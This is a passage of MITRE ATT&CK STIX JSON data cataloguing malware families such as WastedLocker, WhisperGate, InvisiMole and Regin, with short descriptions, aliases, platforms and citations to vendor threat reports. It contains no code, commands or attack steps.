[MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Umbreon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0221","external_id":"S0221"},{"source_name":"Umbreon","description":"(Citation: Umbreon Trend Micro)"},{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-07-01T18:32:47.285Z","name":"Umbreon","description":"A Linux rootkit that provides backdoor access and hides from defenders.","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Containers","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Hildegard"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","type":"malware","created":"2021-04-07T18:07:47.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0601","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0601"},{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-10-16T01:49:39.189Z","name":"Hildegard","description":"[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). 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Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-11-19T23:35:06.266Z","name":"SombRAT","description":"[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FlawedGrace"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--43155329-3edf-47a6-9a14-7dac899b01e4","type":"malware","created":"2019-05-29T14:33:04.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0383","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0383"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. 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(2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. 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(2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. 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(2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. 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(2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."},{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. 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(2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","name":"MobileOrder","description":"[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["WastedLocker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","type":"malware","created":"2021-05-20T17:44:26.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0612","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0612"},{"source_name":"WastedLocker","description":"(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020) "},{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."},{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-27T17:36:37.593Z","name":"WastedLocker","description":"[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RegDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--47124daf-44be-4530-9c63-038bc64318dd","type":"malware","created":"2020-09-23T18:04:24.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0511","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0511"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.731Z","name":"RegDuke","description":"[RegDuke](https://attack.mitre.org/software/S0511) is a first stage implant written in .NET and used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2017. [RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ProLock"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","type":"malware","created":"2021-09-30T19:47:47.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0654","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0654"},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:35:09.832Z","name":"ProLock","description":"[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"x_mitre_aliases":["InvisiMole"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0260","external_id":"S0260"},{"source_name":"InvisiMole","description":"(Citation: ESET InvisiMole June 2018)"},{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2021-11-29T12:41:28.009Z","name":"InvisiMole","description":"[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["P.A.S. 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Retrieved April 12, 2021."}],"modified":"2021-04-13T13:10:36.820Z","name":"P.A.S. Webshell","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Naid"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0205","external_id":"S0205"},{"source_name":"Naid","description":"(Citation: Symantec Naid June 2012)"},{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.371Z","name":"Naid","description":"[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Volgmer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0180","external_id":"S0180"},{"source_name":"Volgmer","description":"(Citation: US-CERT Volgmer Nov 2017) (Citation: US-CERT Volgmer 2 Nov 2017) (Citation: Symantec Volgmer Aug 2014)"},{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"modified":"2020-03-25T13:57:35.783Z","name":"Volgmer","description":"[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0219","external_id":"S0219"},{"source_name":"WINERACK","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"WINERACK","description":"[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Phil Taylor, BT Security"],"x_mitre_aliases":["WhisperGate"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","created":"2022-03-10T16:42:36.137Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0689","url":"https://attack.mitre.org/software/S0689"},{"source_name":"Cybereason WhisperGate February 2022","url":"https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper","description":"Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022."},{"source_name":"Unit 42 WhisperGate January 2022","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."},{"source_name":"Microsoft WhisperGate January 2022","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)","modified":"2022-04-10T16:43:00.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"WhisperGate","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FruitFly"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0277","external_id":"S0277"},{"source_name":"FruitFly","description":"(Citation: objsee mac malware 2017)."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-30T16:42:09.499Z","name":"FruitFly","description":"FruitFly is designed to spy on mac users  (Citation: objsee mac malware 2017).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ZeroT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0230","external_id":"S0230"},{"source_name":"ZeroT","description":"(Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)"},{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-30T18:31:33.197Z","name":"ZeroT","description":"[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Keydnap","OSX/Keydnap"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0276","external_id":"S0276"},{"source_name":"Keydnap","description":"(Citation: synack 2016 review)"},{"source_name":"OSX/Keydnap","description":"(Citation: OSX Keydnap malware)"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://www.synack.com/2017/01/01/mac-malware-2016/"}],"modified":"2021-10-17T14:35:31.022Z","name":"Keydnap","description":"This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor  (Citation: OSX Keydnap malware).","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RDAT","RDAT "],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","type":"malware","created":"2020-07-28T17:26:36.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0495","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0495"},{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-10-15T23:59:45.815Z","name":"RDAT","description":"[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Hacking Team UEFI Rootkit"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b62ab58-c23b-4704-9c15-edd568cd59f8","type":"malware","created":"2017-05-31T21:32:35.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0047","external_id":"S0047"},{"source_name":"TrendMicro Hacking Team UEFI","description":"Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"}],"modified":"2020-03-30T16:48:12.607Z","name":"Hacking Team UEFI Rootkit","description":"[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Skidmap"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","type":"malware","created":"2020-06-09T21:23:38.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0468","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0468"},{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-26T04:03:50.568Z","name":"Skidmap","description":"[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"x_mitre_aliases":["Okrum"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","type":"malware","created":"2020-05-06T21:12:31.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0439","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0439"},{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-14T21:17:53.756Z","name":"Okrum","description":"[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Regin"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","type":"malware","created":"2017-05-31T21:32:17.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0019","external_id":"S0019"},{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 